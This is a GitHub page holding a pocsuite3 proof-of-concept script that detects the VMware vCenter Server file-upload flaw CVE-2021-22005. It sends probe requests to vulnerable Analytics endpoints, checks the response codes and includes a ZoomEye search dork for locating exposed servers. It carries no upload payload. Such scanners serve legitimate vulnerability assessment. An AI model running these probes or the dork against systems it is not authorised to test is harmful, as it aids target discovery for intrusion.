This repository has been archived by the owner on Aug 7, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 96
/
vmware-vcenter-FileUpload_CVE-2021-22005_rce.py
76 lines (64 loc) · 2.64 KB
/
vmware-vcenter-FileUpload_CVE-2021-22005_rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#! /usr/bin/env python3
# coding:utf-8
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
class TestPOC(POCBase):
vulID = '99359' # ssvid
version = '2.0'
author = ['seebug']
vulDate = '2021-09-22'
createDate = '2021-09-23'
updateDate = '2021-09-23'
references = ['https://www.seebug.org/vuldb/ssvid-99359','https://mp.weixin.qq.com/s/UcH-IOUOtO6rsWWetc6O-A']
name = 'VMware vCenter Server 文件上传漏洞(CVE-2021-22005)检测脚本'
appPowerLink = 'https://www.vmware.com'
appName = 'VMware vCenter Server'
appVersion = 'version < 7.0 U2c、version < 6.7 U3o'
vulType = 'File Upload'
desc = '''攻击者可构造恶意请求,通过vCenter中的Analytics服务上传恶意文件导致远程代码执行漏洞。该漏洞被分配编号CVE-2021-22005。
知道创宇云安全已支持该漏洞检测'''
dork = {'zoomeye': 'app:"VMware vCenter"'}
suricata_request = ''''''
suricata_response = ''''''
samples = ['']
install_requires = ['']
def _check(self):
self.url = self.url.rstrip('/')
try:
rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test",
headers={"Content-Type": "application/json"}, data="lorem ipsum")
if rep.status_code == 201:
return True
headers = {
"Accept-Encoding": "gzip, deflate",
"X-Deployment-Secret": "abc",
"accept": "application/vapi",
"Connection": "keep-alive",
"Content-Type": "application/json",
}
rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?_c=test&_i=1", headers=headers, data="{}")
if rep.status_code == 201:
return True
headers["Connection"] = "close"
rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1",
headers=headers,
data="{}")
if rep.status_code == 200:
return True
except Exception as e:
logger.error(e)
def _verify(self):
result = {}
if self._check():
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register_poc(TestPOC)